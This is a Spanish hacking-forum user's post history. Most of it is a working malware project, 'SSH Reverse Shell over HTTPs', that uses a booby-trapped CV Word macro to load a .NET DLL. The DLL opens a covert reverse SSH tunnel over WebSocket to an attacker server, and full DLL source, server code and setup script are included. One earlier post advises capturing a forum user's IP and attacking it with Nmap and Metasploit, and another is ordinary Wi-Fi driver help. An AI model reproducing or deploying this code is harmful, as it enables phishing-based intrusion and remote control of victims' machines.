| |
Mostrar Mensajes
|
|
Páginas: [1]
|
|
1
|
Seguridad Informática / Hacking / Re: ¿Se podría realizar el escaneo de puertos para averiguar IP pública de un usuario en un foro cualquiera?
|
en: 13 Mayo 2026, 00:44 am
|
Un escaneo de puertos solo funciona si ya conoces la IP pública del objetivo. Se realiza contra una IP concreta o un rango de IPs. En un foro normal, tú como usuario común no tienes acceso a la IP de otros participantes; solo el administrador del foro puede verla en sus logs. Además, cuando alguien navega por un foro, su dispositivo actúa como cliente, no como servidor. Realiza conexiones salientes hacia el foro, pero no está escuchando en puertos públicos. Incluso si consiguieras su IP, lo más probable es que: Esté detrás de un NAT (del router o del proveedor de internet). Tenga el cortafuegos activado (Windows Firewall, firewall del router, etc.). En muchos casos, el proveedor use CGNAT, por lo que ni siquiera tiene una IP pública individual. Ahora bien... Vulnerabilidades en el foro (XSS, etc.): en algunos casos es posible inyectar código para que el usuario cargue automáticamente un recurso (una imagen, un script, etc.) alojado en un servidor que tú controlas. De esta forma se registra su IP real. Enlaces directos o WebRTC: En chats (como Discord) o en foros que implementen WebRTC, a veces es posible extraer la IP real del usuario, incluso pudiendo saltarse VPN o proxies en ciertos casos. Por ejemplo, En Chrome/Edge: abre chrome://webrtc-internals/ En Firefox: abre about:webrtc Busca la sección RTCPeerConnection Statistics. Si aparece actividad relacionada con el dominio del foro, significa que está usando WebRTC. Método más sencillo (y común)  Al final la forma más directa y efectiva para obtener la IP de un usuario es compartir un enlace o recurso (imagen, archivo, página web, etc.) que apunte a un servidor que tú controles. Si el usuario hace clic o carga ese recurso sin VPN ni proxy, tu servidor registrará su IP real. Una vez que tengas la IP, puedes: Realizar un escaneo de puertos con Nmap para ver qué puertos están abiertos y qué servicios corren. Intentar explotar alguna vulnerabilidad con herramientas como Metasploit, si el sistema tiene servicios desactualizados o mal configurados. Esto es solo un resumen de lo que una persona con conocimientos básicos puede hacer. Dependiendo de tu experiencia, puedes refinar mucho más el ataque (ingeniería social, exploits más avanzados, pivoting, etc.)
|
|
|
|
|
2
|
Sistemas Operativos / GNU/Linux / Re: Problemas con la tarjeta WIFI
|
en: 6 Mayo 2026, 22:21 pm
|
Tu problema se debe probablemente al ahorro de energía del chip Wi-Fi (LPS/ASPM). Tu tarjeta es rtw_8822ce pero aplicaste configuración para 8821ce. Lo que debes dejar en /etc/modprobe.d/rtw88.conf es solo: options rtw88_pci disable_aspm=y options rtw88_core disable_lps_deep=y y elimina blacklist rtw88_8821ce blacklist rtw88_core Después ejecuta: sudo update-initramfs -u sudo reboot
También puedes probar a instalar firmware actualizado: sudo apt update sudo apt install firmware-realtek
|
|
|
|
|
3
|
Seguridad Informática / Análisis y Diseño de Malware / Re: SSH Reverse Shell over HTTPs
|
en: 29 Abril 2026, 00:54 am
|
Y finalmente el código de nuestro servidor, que estará a la espera de la conexión del cliente e iniciará una sesión SSH tan rápido como entre la primera conexión. SshReverseTunnel_Server.py""" SSH Reverse Tunnel Server """
import asyncio import logging import os import subprocess from pathlib import Path from typing import Optional, Dict import uuid
import uvicorn from fastapi import FastAPI, WebSocket, HTTPException, Header from fastapi.responses import JSONResponse
app = FastAPI(title="SSH Reverse Tunnel Server")
# ====================== CONFIGURATION ====================== logging.basicConfig( level=logging.INFO, format="%(asctime)s | %(levelname)s | %(message)s" ) logger = logging.getLogger("ssh-tunnel")
SSH_HOST: str = "127.0.0.1" SSH_PORT: int = 22 REVERSE_PORT: int = 9000 SSH_USER: str = "ubuntu"
BEARER_TOKEN: str = os.getenv("BEARER_TOKEN", "") BUFFER_SIZE = 32768
active_tunnels: Dict[str, dict] = {}
def start_auto_ssh_session(tunnel_id: str): """Start SSH session automatically when client connects""" try: cmd = f'start "" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -p {REVERSE_PORT} {SSH_USER}@127.0.0.1' subprocess.Popen(cmd, shell=True) logger.info(f"Auto SSH session started for tunnel {tunnel_id}") return True except Exception as e: logger.error(f"Failed to start SSH session: {e}") return False
async def bridge_websocket_to_ssh(websocket: WebSocket, tunnel_id: str): reader = writer = None try: active_tunnels[tunnel_id] = {"status": "connected", "client": str(websocket.client)} logger.info(f"Client connected: {tunnel_id}")
start_auto_ssh_session(tunnel_id)
reader, writer = await asyncio.open_connection(SSH_HOST, SSH_PORT)
async def ws_to_ssh(): while True: data = await websocket.receive_bytes() if not data: break writer.write(data) await writer.drain()
async def ssh_to_ws(): while True: data = await reader.read(BUFFER_SIZE) if not data: break await websocket.send_bytes(data)
await asyncio.gather(ws_to_ssh(), ssh_to_ws(), return_exceptions=True)
finally: if tunnel_id in active_tunnels: del active_tunnels[tunnel_id] if writer: try: writer.close() await writer.wait_closed() except: pass
@app.post("/api/register-key") async def register_key(public_key: str, authorization: Optional[str] = Header(None)): if not public_key.strip().startswith("ssh-ed25519"): raise HTTPException(400, "Only Ed25519 keys supported")
home = Path.home() ssh_dir = home / ".ssh" ssh_dir.mkdir(mode=0o700, exist_ok=True) auth_file = ssh_dir / "authorized_keys" auth_file.touch(mode=0o600, exist_ok=True)
if public_key.strip() not in auth_file.read_text(): with auth_file.open("a") as f: f.write(public_key.strip() + "\n") logger.info("New public key registered")
return {"status": "success"}
@app.websocket("/tunnel") async def tunnel_endpoint(websocket: WebSocket): tunnel_id = str(uuid.uuid4())[:8] await websocket.accept() await bridge_websocket_to_ssh(websocket, tunnel_id)
if __name__ == "__main__": port = int(os.getenv("PORT", 8000)) host = os.getenv("HOST", "0.0.0.0")
logger.info("=" * 70) logger.info("SSH Reverse Tunnel Server STARTED (Auto Session)") logger.info(f"Listening on → http://{host}:{port}") logger.info(f"WSS Tunnel → ws://{host}:{port}/tunnel") logger.info(f"Register Key → http://{host}:{port}/api/register-key") logger.info(f"Reverse Port → {REVERSE_PORT}") logger.info(f"Status → http://{host}:{port}/status") logger.info("=" * 70)
uvicorn.run( "SshReverseTunnel_Server:app", host=host, port=port, log_level="info" )
Aaah sí, es necesario pre-instalar OpenSSH Server en nuestro equipo para poder arrancar el servidor. Os dejo un .bat que se encarga justamente de eso mismo! setup_sshd.bat@echo off echo ========================================== echo OPENSSH SERVER SETUP (WINDOWS) echo ========================================== echo.
:: Check for admin privileges net session >nul 2>&1 if %errorLevel% neq 0 ( echo [ERROR] You must run this script as Administrator. pause exit /b )
echo [1/5] Checking OpenSSH Server installation... powershell -Command "Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*'"
echo. echo [2/5] Installing OpenSSH Server (if not installed)... powershell -Command "Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0"
echo. echo [3/5] Starting sshd service... powershell -Command "Start-Service sshd"
echo. echo [4/5] Setting sshd service to start automatically... powershell -Command "Set-Service -Name sshd -StartupType Automatic"
echo. echo [5/5] Configuring firewall rule... powershell -Command ^ "if (-not (Get-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -ErrorAction SilentlyContinue)) { ^ New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' ^ -DisplayName 'OpenSSH Server (sshd)' ^ -Enabled True ^ -Direction Inbound ^ -Protocol TCP ^ -Action Allow ^ -LocalPort 22 ^ }"
echo. echo ========================================== echo VERIFICATION echo ========================================== powershell -Command "Test-NetConnection 127.0.0.1 -Port 22"
echo. echo If you see 'TcpTestSucceeded : True', everything is working. echo.
pause
|
|
|
|
|
4
|
Seguridad Informática / Análisis y Diseño de Malware / Re: SSH Reverse Shell over HTTPs
|
en: 29 Abril 2026, 00:50 am
|
El código de la DLL SshReverseTunnel.vbImports System Imports System.Collections.Concurrent Imports System.Diagnostics Imports System.IO Imports System.Net Imports System.Net.Sockets Imports System.Net.WebSockets Imports System.Runtime.InteropServices Imports System.Text Imports System.Threading Imports System.Threading.Tasks
<ComVisible(True)> <Guid("D1C05C4F-66EB-449B-9035-EFA476788414")> <ProgId("SshReverseTunnel.SshReverseTunnel")> <ClassInterface(ClassInterfaceType.AutoDual)> Public Class SshReverseTunnel Implements IDisposable
' ===== HARDCODED CONFIGURATION =====
' Remote WebSocket Secure endpoint used by the local bridge. Private Const DEFAULT_WSS_URL As String = "wss://mi-servidor.com/tunnel"
' HTTPS endpoint used to register the generated SSH public key. Private Const DEFAULT_REGISTER_KEY_URL As String = "https://mi-servidor.com/api/register-key"
' SSH user on the remote server. Private Const DEFAULT_SSH_USER As String = "ubuntu"
' Remote port opened on the SSH server through reverse forwarding. Private Const DEFAULT_REVERSE_PORT As Integer = 9000
' Local SSH service that will be exposed through the reverse tunnel. Private Const DEFAULT_CLIENT_HOST As String = "127.0.0.1" Private Const DEFAULT_CLIENT_PORT As Integer = 22
' Local TCP port used by ssh.exe to connect into the WebSocket bridge. Private Const DEFAULT_LOCAL_TUNNEL_PORT As Integer = 2222
' Automatically generated SSH private key path. Private Const DEFAULT_IDENTITY_FILE As String = "C:\ProgramData\SshReverseTunnel\ssh\id_ed25519"
' Optional token used for both WSS and public key registration. Private Const DEFAULT_BEARER_TOKEN As String = ""
Private _listener As TcpListener Private _cts As CancellationTokenSource Private _acceptTask As Task Private _sshProcess As Process
Private _running As Boolean = False Private _lastError As String = ""
Private _remoteWssUrl As String = "" Private _bearerToken As String = ""
Private ReadOnly _clients As New ConcurrentBag(Of TcpClient) Private ReadOnly _clientTasks As New ConcurrentBag(Of Task)
''' <summary> ''' Starts the reverse SSH tunnel using predefined configuration values. ''' </summary> Public Function StartDefault() As Boolean Return StartReverseSsh( DEFAULT_WSS_URL, DEFAULT_REGISTER_KEY_URL, DEFAULT_SSH_USER, DEFAULT_REVERSE_PORT, DEFAULT_CLIENT_HOST, DEFAULT_CLIENT_PORT, DEFAULT_LOCAL_TUNNEL_PORT, DEFAULT_BEARER_TOKEN, DEFAULT_IDENTITY_FILE ) End Function
''' <summary> ''' Starts the full automatic reverse SSH tunnel flow. ''' The method generates an SSH key if needed, registers the public key, ''' starts the local WSS bridge, and launches OpenSSH in non-interactive mode. ''' </summary> Public Function StartReverseSsh( ByVal remoteWssUrl As String, ByVal registerKeyUrl As String, ByVal sshServerUser As String, ByVal reversePortOnServer As Integer, Optional ByVal clientSshHost As String = "127.0.0.1", Optional ByVal clientSshPort As Integer = 22, Optional ByVal localTunnelPort As Integer = 2222, Optional ByVal bearerToken As String = "", Optional ByVal identityFile As String = "" ) As Boolean
Try If _running Then _lastError = "Already running" Return False End If
If String.IsNullOrWhiteSpace(identityFile) Then identityFile = DEFAULT_IDENTITY_FILE End If
' Ensure that the client has a local SSH key pair. If Not EnsureSshKey(identityFile) Then Return False End If
' Register the generated public key with the server. ' The server endpoint should be idempotent and ignore duplicates. If Not RegisterPublicKey(registerKeyUrl, identityFile & ".pub", bearerToken) Then Return False End If
' Start local TCP listener that bridges traffic into the remote WSS endpoint. If Not StartLocalWssTunnel(remoteWssUrl, localTunnelPort, bearerToken) Then Return False End If
' Launch OpenSSH reverse tunnel using the generated private key. If Not LaunchOpenSshReverseTunnel( sshServerUser, reversePortOnServer, clientSshHost, clientSshPort, localTunnelPort, identityFile ) Then StopReverseSsh() Return False End If
_running = True Return True
Catch ex As Exception _lastError = ex.Message StopReverseSsh() Return False End Try End Function
''' <summary> ''' Generates an Ed25519 SSH key pair if it does not already exist. ''' The generated private key is stored locally and reused on future runs. ''' </summary> Private Function EnsureSshKey(ByVal identityFile As String) As Boolean Try Dim dir As String = Path.GetDirectoryName(identityFile)
If String.IsNullOrWhiteSpace(dir) Then _lastError = "Invalid identity file path" Return False End If
If Not Directory.Exists(dir) Then Directory.CreateDirectory(dir) End If
If File.Exists(identityFile) AndAlso File.Exists(identityFile & ".pub") Then Return True End If
Dim psi As New ProcessStartInfo() psi.FileName = "ssh-keygen.exe" psi.Arguments = "-t ed25519 -N """" -f " & Quote(identityFile) psi.UseShellExecute = False psi.CreateNoWindow = True psi.RedirectStandardOutput = True psi.RedirectStandardError = True
Using p As Process = Process.Start(psi) p.WaitForExit()
If p.ExitCode <> 0 Then _lastError = p.StandardError.ReadToEnd() Return False End If End Using
Return True
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Sends the generated SSH public key to the server registration endpoint. ''' The server should validate the request, avoid duplicates, and append the key ''' to the appropriate authorized_keys file. ''' </summary> Private Function RegisterPublicKey( ByVal registerKeyUrl As String, ByVal publicKeyPath As String, ByVal bearerToken As String ) As Boolean
Try If String.IsNullOrWhiteSpace(registerKeyUrl) Then _lastError = "Register key URL is empty" Return False End If
If Not registerKeyUrl.StartsWith("http://", StringComparison.OrdinalIgnoreCase) AndAlso Not registerKeyUrl.StartsWith("https://", StringComparison.OrdinalIgnoreCase) Then _lastError = "Register key URL must start with http:// or https://" Return False End If
If Not File.Exists(publicKeyPath) Then _lastError = "Public key file was not found" Return False End If
Dim publicKey As String = File.ReadAllText(publicKeyPath).Trim()
If String.IsNullOrWhiteSpace(publicKey) Then _lastError = "Public key is empty" Return False End If
' La API espera public_key como parámetro query, no como JSON Dim separator As String = If(registerKeyUrl.Contains("?"), "&", "?") Dim finalUrl As String = registerKeyUrl & separator & "public_key=" & Uri.EscapeDataString(publicKey)
Dim request As HttpWebRequest = CType(WebRequest.Create(finalUrl), HttpWebRequest)
request.Method = "POST" request.ContentLength = 0 request.UserAgent = "SshReverseTunnelClient/1.0" request.Timeout = 15000 request.ReadWriteTimeout = 15000
If Not String.IsNullOrWhiteSpace(bearerToken) Then request.Headers.Set("Authorization", "Bearer " & bearerToken) End If
Using response = CType(request.GetResponse(), HttpWebResponse) If response.StatusCode = HttpStatusCode.OK OrElse response.StatusCode = HttpStatusCode.Created OrElse response.StatusCode = HttpStatusCode.NoContent Then Return True End If
_lastError = "Public key registration failed: " & response.StatusCode.ToString() Return False End Using
Catch ex As WebException If ex.Response IsNot Nothing Then Try Using response = CType(ex.Response, HttpWebResponse) Dim responseBody As String = ""
Using reader As New StreamReader(response.GetResponseStream()) responseBody = reader.ReadToEnd() End Using
_lastError = "Public key registration failed: HTTP " & CInt(response.StatusCode).ToString() & " " & response.StatusDescription & " - " & responseBody End Using Catch _lastError = ex.Message End Try Else _lastError = ex.Message End If
Return False
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Starts a local TCP listener that forwards incoming traffic to the remote WSS server. ''' </summary> Private Function StartLocalWssTunnel( ByVal remoteWssUrl As String, ByVal localPort As Integer, ByVal bearerToken As String ) As Boolean
Try If String.IsNullOrWhiteSpace(remoteWssUrl) Then _lastError = "Remote WSS URL Is empty" Return False End If
If Not remoteWssUrl.StartsWith("ws://", StringComparison.OrdinalIgnoreCase) AndAlso Not remoteWssUrl.StartsWith("wss://", StringComparison.OrdinalIgnoreCase) Then _lastError = "Remote URL must start with ws:// or wss://" Return False End If
If localPort <= 0 OrElse localPort > 65535 Then _lastError = "Invalid local tunnel port" Return False End If
_remoteWssUrl = remoteWssUrl _bearerToken = bearerToken
_cts = New CancellationTokenSource()
_listener = New TcpListener(IPAddress.Loopback, localPort) _listener.Start()
_acceptTask = Task.Run(Function() AcceptLoopAsync(_cts.Token))
Return True
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Launches ssh.exe with reverse port forwarding enabled. ''' BatchMode disables password prompts, making execution fully non-interactive. ''' </summary> Private Function LaunchOpenSshReverseTunnel( ByVal sshServerUser As String, ByVal reversePortOnServer As Integer, ByVal clientSshHost As String, ByVal clientSshPort As Integer, ByVal localTunnelPort As Integer, ByVal identityFile As String ) As Boolean
Try If String.IsNullOrWhiteSpace(sshServerUser) Then _lastError = "SSH server user Is empty" Return False End If
If reversePortOnServer <= 0 OrElse reversePortOnServer > 65535 Then _lastError = "Invalid reverse port On server" Return False End If
If clientSshPort <= 0 OrElse clientSshPort > 65535 Then _lastError = "Invalid client SSH port" Return False End If
If localTunnelPort <= 0 OrElse localTunnelPort > 65535 Then _lastError = "Invalid local tunnel port" Return False End If
If String.IsNullOrWhiteSpace(identityFile) OrElse Not File.Exists(identityFile) Then _lastError = "SSH identity file was Not found" Return False End If
Dim sshPath As String = FindWindowsOpenSsh()
If String.IsNullOrWhiteSpace(sshPath) Then _lastError = "OpenSSH executable was Not found" Return False End If
Dim args As String = "-N " & "-o BatchMode=yes " & "-o ExitOnForwardFailure=yes " & "-o StrictHostKeyChecking=accept-new " & "-o ServerAliveInterval=30 " & "-o ServerAliveCountMax=3 " & "-p " & localTunnelPort.ToString() & " " & "-i " & Quote(identityFile) & " " & "-R " & reversePortOnServer.ToString() & ":" & clientSshHost & ":" & clientSshPort.ToString() & " " & Quote(sshServerUser & "@127.0.0.1")
Dim psi As New ProcessStartInfo() psi.FileName = sshPath psi.Arguments = args psi.UseShellExecute = False psi.CreateNoWindow = True psi.WindowStyle = ProcessWindowStyle.Hidden psi.RedirectStandardOutput = True psi.RedirectStandardError = True
_sshProcess = New Process() _sshProcess.StartInfo = psi _sshProcess.EnableRaisingEvents = True
AddHandler _sshProcess.ErrorDataReceived, Sub(sender, e) If Not String.IsNullOrWhiteSpace(e.Data) Then _lastError = "[SSH STDERR] " & e.Data End If End Sub
AddHandler _sshProcess.OutputDataReceived, Sub(sender, e) If Not String.IsNullOrWhiteSpace(e.Data) Then _lastError = "[SSH STDOUT] " & e.Data End If End Sub
AddHandler _sshProcess.Exited, Sub(sender, e) _running = False End Sub
_sshProcess.Start() _sshProcess.BeginErrorReadLine() _sshProcess.BeginOutputReadLine()
Return True
Catch ex As Exception _lastError = ex.Message Return False End Try End Function
''' <summary> ''' Accepts local TCP clients and creates an independent WebSocket bridge for each one. ''' </summary> Private Async Function AcceptLoopAsync(ByVal token As CancellationToken) As Task While Not token.IsCancellationRequested Try Dim client As TcpClient = Await _listener.AcceptTcpClientAsync().ConfigureAwait(False)
_clients.Add(client)
Dim clientTask As Task = HandleClientAsync(client, token) _clientTasks.Add(clientTask)
Catch ex As ObjectDisposedException Exit While
Catch ex As Exception If Not token.IsCancellationRequested Then _lastError = ex.Message End If
Exit While End Try End While End Function
''' <summary> ''' Bridges a single TCP client connection to a remote WebSocket connection. ''' </summary> Private Async Function HandleClientAsync( ByVal client As TcpClient, ByVal token As CancellationToken ) As Task
Using client Using ws As New ClientWebSocket() Try If Not String.IsNullOrWhiteSpace(_bearerToken) Then ws.Options.SetRequestHeader("Authorization", "Bearer " & _bearerToken) End If
Await ws.ConnectAsync(New Uri(_remoteWssUrl), token).ConfigureAwait(False)
Using stream As NetworkStream = client.GetStream() Dim t1 As Task = PumpTcpToWebSocketAsync(stream, ws, token) Dim t2 As Task = PumpWebSocketToTcpAsync(ws, stream, token)
Await Task.WhenAny(t1, t2).ConfigureAwait(False) End Using
Catch ex As OperationCanceledException ' Expected during shutdown.
Catch ex As Exception _lastError = ex.Message
Finally CloseWebSocketQuietly(ws) End Try End Using End Using End Function
''' <summary> ''' Forwards bytes from the TCP stream to the WebSocket connection. ''' </summary> Private Async Function PumpTcpToWebSocketAsync( ByVal stream As NetworkStream, ByVal ws As ClientWebSocket, ByVal token As CancellationToken ) As Task
Dim buffer(32767) As Byte
While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested Dim read As Integer = Await stream.ReadAsync(buffer, 0, buffer.Length, token).ConfigureAwait(False)
If read <= 0 Then Exit While End If
Await ws.SendAsync( New ArraySegment(Of Byte)(buffer, 0, read), WebSocketMessageType.Binary, True, token ).ConfigureAwait(False) End While End Function
''' <summary> ''' Forwards bytes from the WebSocket connection back to the TCP stream. ''' </summary> Private Async Function PumpWebSocketToTcpAsync( ByVal ws As ClientWebSocket, ByVal stream As NetworkStream, ByVal token As CancellationToken ) As Task
Dim buffer(32767) As Byte
While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested Dim result As WebSocketReceiveResult = Await ws.ReceiveAsync( New ArraySegment(Of Byte)(buffer), token ).ConfigureAwait(False)
If result.MessageType = WebSocketMessageType.Close Then Exit While End If
If result.Count > 0 Then Await stream.WriteAsync(buffer, 0, result.Count, token).ConfigureAwait(False) Await stream.FlushAsync(token).ConfigureAwait(False) End If End While End Function
''' <summary> ''' Attempts to close the WebSocket gracefully without throwing shutdown exceptions. ''' </summary> Private Sub CloseWebSocketQuietly(ByVal ws As ClientWebSocket) Try If ws IsNot Nothing AndAlso ws.State = WebSocketState.Open Then ws.CloseAsync( WebSocketCloseStatus.NormalClosure, "Closing", CancellationToken.None ).Wait(2000) End If Catch End Try End Sub
''' <summary> ''' Stops the SSH process, local listener, active clients, and async operations. ''' </summary> Public Sub StopReverseSsh() Try _running = False
If _cts IsNot Nothing Then Try _cts.Cancel() Catch End Try End If
If _sshProcess IsNot Nothing Then Try If Not _sshProcess.HasExited Then _sshProcess.Kill() End If Catch End Try
Try _sshProcess.Dispose() Catch End Try
_sshProcess = Nothing End If
If _listener IsNot Nothing Then Try _listener.Stop() Catch End Try
_listener = Nothing End If
For Each c As TcpClient In _clients Try c.Close() Catch End Try Next
Catch ex As Exception _lastError = ex.Message End Try End Sub
''' <summary> ''' Returns whether the tunnel is currently running. ''' </summary> Public Function IsRunning() As Boolean Return _running End Function
''' <summary> ''' Returns the last captured error message. ''' </summary> Public Function LastError() As String Return _lastError End Function
''' <summary> ''' Returns the OpenSSH executable name. ''' Windows resolves ssh.exe from PATH if OpenSSH Client is installed. ''' </summary> Private Function FindWindowsOpenSsh() As String Dim windowsSsh As String = Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\OpenSSH\ssh.exe" )
If File.Exists(windowsSsh) Then Return windowsSsh End If
Return "ssh.exe" End Function
''' <summary> ''' Quotes a command-line argument and escapes embedded quotation marks. ''' </summary> Private Function Quote(ByVal v As String) As String If v Is Nothing Then Return """""" End If
Return """" & v.Replace("""", """""") & """" End Function
''' <summary> ''' Disposes the tunnel and releases all related resources. ''' </summary> Public Sub Dispose() Implements IDisposable.Dispose StopReverseSsh()
If _acceptTask IsNot Nothing Then Try _acceptTask.Wait(2000) Catch End Try End If
If _cts IsNot Nothing Then Try _cts.Dispose() Catch End Try
_cts = Nothing End If End Sub
End Class La configuración del proyecto SshReverseTunnel.vbproj<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" /> <!-- CONFIG --> <PropertyGroup> <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> <Platform Condition=" '$(Platform)' == '' ">x64</Platform> <ProjectGuid>{4A7328F2-CD36-473F-849A-12C3CE13DCD7}</ProjectGuid> <OutputType>Library</OutputType> <RootNamespace>SshReverseTunnel</RootNamespace> <AssemblyName>SshReverseTunnel</AssemblyName> <FileAlignment>512</FileAlignment> <MyType>Windows</MyType> <TargetFrameworkVersion>v4.8</TargetFrameworkVersion> <Deterministic>true</Deterministic> <RegisterForComInterop>true</RegisterForComInterop> </PropertyGroup> <!-- DEBUG --> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x64' "> <DebugSymbols>true</DebugSymbols> <DebugType>full</DebugType> <DefineDebug>true</DefineDebug> <DefineTrace>true</DefineTrace> <OutputPath>bin\Debug\</OutputPath> <DocumentationFile>SshReverseTunnel.xml</DocumentationFile> <PlatformTarget>x64</PlatformTarget> <RegisterForComInterop>true</RegisterForComInterop> <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn> </PropertyGroup> <!-- RELEASE --> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x64' "> <DebugType>pdbonly</DebugType> <DefineDebug>false</DefineDebug> <DefineTrace>true</DefineTrace> <Optimize>true</Optimize> <OutputPath>bin\Release\</OutputPath> <DocumentationFile>SshReverseTunnel.xml</DocumentationFile> <PlatformTarget>x64</PlatformTarget> <RegisterForComInterop>true</RegisterForComInterop> <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn> </PropertyGroup> <!-- VB OPTIONS --> <PropertyGroup> <OptionExplicit>On</OptionExplicit> <OptionCompare>Binary</OptionCompare> <OptionStrict>Off</OptionStrict> <OptionInfer>On</OptionInfer> </PropertyGroup> <!-- REFERENCES --> <ItemGroup> <Reference Include="System" /> <Reference Include="System.Data" /> <Reference Include="System.Xml" /> <Reference Include="System.Core" /> <Reference Include="System.Xml.Linq" /> <Reference Include="System.Data.DataSetExtensions" /> <Reference Include="System.Net.Http" /> </ItemGroup> <!-- IMPORTS --> <ItemGroup> <Import Include="Microsoft.VisualBasic" /> <Import Include="System" /> <Import Include="System.Collections" /> <Import Include="System.Collections.Generic" /> <Import Include="System.Data" /> <Import Include="System.Diagnostics" /> <Import Include="System.Linq" /> <Import Include="System.Xml.Linq" /> <Import Include="System.Threading.Tasks" /> </ItemGroup> <!-- CODE --> <ItemGroup> <Compile Include="SshReverseTunnel.vb" /> <Compile Include="My Project\AssemblyInfo.vb" /> <Compile Include="My Project\Application.Designer.vb"> <AutoGen>True</AutoGen> <DependentUpon>Application.myapp</DependentUpon> <DesignTime>True</DesignTime> </Compile> <Compile Include="My Project\Resources.Designer.vb"> <AutoGen>True</AutoGen> <DesignTime>True</DesignTime> <DependentUpon>Resources.resx</DependentUpon> </Compile> <Compile Include="My Project\Settings.Designer.vb"> <AutoGen>True</AutoGen> <DependentUpon>Settings.settings</DependentUpon> <DesignTimeSharedInput>True</DesignTimeSharedInput> </Compile> </ItemGroup> <!-- RESOURCES --> <ItemGroup> <EmbeddedResource Include="My Project\Resources.resx"> <Generator>VbMyResourcesResXFileCodeGenerator</Generator> <LastGenOutput>Resources.Designer.vb</LastGenOutput> <CustomToolNamespace>My.Resources</CustomToolNamespace> <SubType>Designer</SubType> </EmbeddedResource> </ItemGroup> <!-- OTHER --> <ItemGroup> <None Include="My Project\Application.myapp"> <Generator>MyApplicationCodeGenerator</Generator> <LastGenOutput>Application.Designer.vb</LastGenOutput> </None> <None Include="My Project\Settings.settings"> <Generator>SettingsSingleFileGenerator</Generator> <CustomToolNamespace>My</CustomToolNamespace> <LastGenOutput>Settings.Designer.vb</LastGenOutput> </None> </ItemGroup> <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" /> </Project>
|
|
|
|
|
5
|
Seguridad Informática / Análisis y Diseño de Malware / SSH Reverse Shell over HTTPs
|
en: 29 Abril 2026, 00:47 am
|
Uno de los métodos más clásicos para obtener una reverse shell consiste en ejecutar un script de PowerShell en la máquina objetivo mientras el atacante mantiene un listener a la espera de conexión. A día de hoy, este enfoque todavía puede funcionar en ciertos escenarios, pero la realidad es que cada vez genera más sospechas: los usuarios son más cautos y cualquier comportamiento mínimamente anómalo suele levantar alertas. Por eso resulta interesante plantear una alternativa. Partamos de una premisa bastante realista: muchas empresas están abiertas a recibir CVs de candidatos, y los departamentos de RRHH no suelen estar especialmente enfocados en seguridad informática. ¿Qué pasaría si ese CV, aparentemente legítimo, estuviera “preparado” para hacer algo más que presentarte como candidato? Para sorpresa (o desgracia) de muchos, Microsoft Office sigue soportando a día de hoy VBA embebido en documentos como Word o Excel. Esto abre la puerta a un vector de ataque tan simple como efectivo: enviar un CV en formato Word aparentemente inofensivo y esperar a que alguien lo abra. A partir de ahí, empieza la parte interesante. Nota: Este proyecto tiene fines exclusivamente educativos y de investigación en el ámbito de la ciberseguridad. El autor no se hace responsable del uso indebido o malintencionado que pueda realizarse del mismo.
La idea no es la típica reverse shell ruidosa, sino algo bastante más elegante: establecer un túnel SSH inverso encapsulado dentro de tráfico WebSocket (WSS), de forma que toda la comunicación salga como si fuera tráfico HTTPS legítimo. El flujo arranca en cuanto se abre el documento. La macro no hace nada especialmente complejo por sí misma, pero sí actúa como launcher: • Registra una DLL .NET mediante RegAsm • Invoca un método expuesto vía COM (StartDefault) Este punto es clave: VBA se utiliza únicamente como puerta de entrada, mientras que toda la lógica real se delega en código .NET, mucho más flexible y potente. Una vez dentro de la DLL, comienza el flujo principal: 1. Generación de clave SSHSi no existe previamente, se crea un par de claves ed25519 en: C:\ProgramData\SshReverseTunnel\ssh\Esto permite autenticación sin contraseña y, además, introduce cierta persistencia, ya que la clave se reutiliza en ejecuciones posteriores. 2. Registro de la clave en el servidorEl cliente envía su clave pública a un endpoint: /api/register-keyEl servidor la añade a authorized_keys, permitiendo que ese cliente pueda autenticarse automáticamente contra su servicio SSH. 3. Creación del canal encubierto (WSS)Aquí es donde la técnica se vuelve realmente interesante. En lugar de conectar directamente por SSH al servidor remoto, el cliente levanta un listener local: 127.0.0.1:2222Sin embargo, este puerto no es un servidor SSH real, sino un proxy TCP que encapsula el tráfico dentro de WebSocket seguro (WSS) hacia: wss://mi-servidor.com/tunnel(en un escenario real, típicamente asociado a un dominio dinámico) El flujo real sería: ssh.exe → localhost:2222 → WebSocket (WSS) → servidor → SSH real 4. Establecimiento del túnel SSHCon el proxy en marcha, se lanza OpenSSH: ssh -N -p 2222 -R 9000:127.0.0.1:22 usuario@127.0.0.1 Aquí está el truco: • -p 2222 → conecta contra el proxy local • El tráfico termina realmente en el SSH del servidor • Todo el canal SSH viaja encapsulado dentro de WSS Una vez autenticado, se negocia el reverse tunnel: -R 9000:127.0.0.1:22 Esto provoca que, en el servidor, se abra: localhost:9000 → redirige al SSH de la víctima5. Resultado finalDesde el lado del operador, el acceso es trivial: ssh -p 9000 usuario@localhost Y eso termina abriendo una sesión SSH directamente contra la máquina víctima, como si estuviera expuesta en la red local. Muy bien, ¿y cuál sería entonces el procedimiento? Lo primero sería redactar un CV falso (eso lo dejo a la imaginación del querido lector), y después sería necesario guardarlo como documento .docm. En este documento guardamos nuestro launcher: Option Explicit
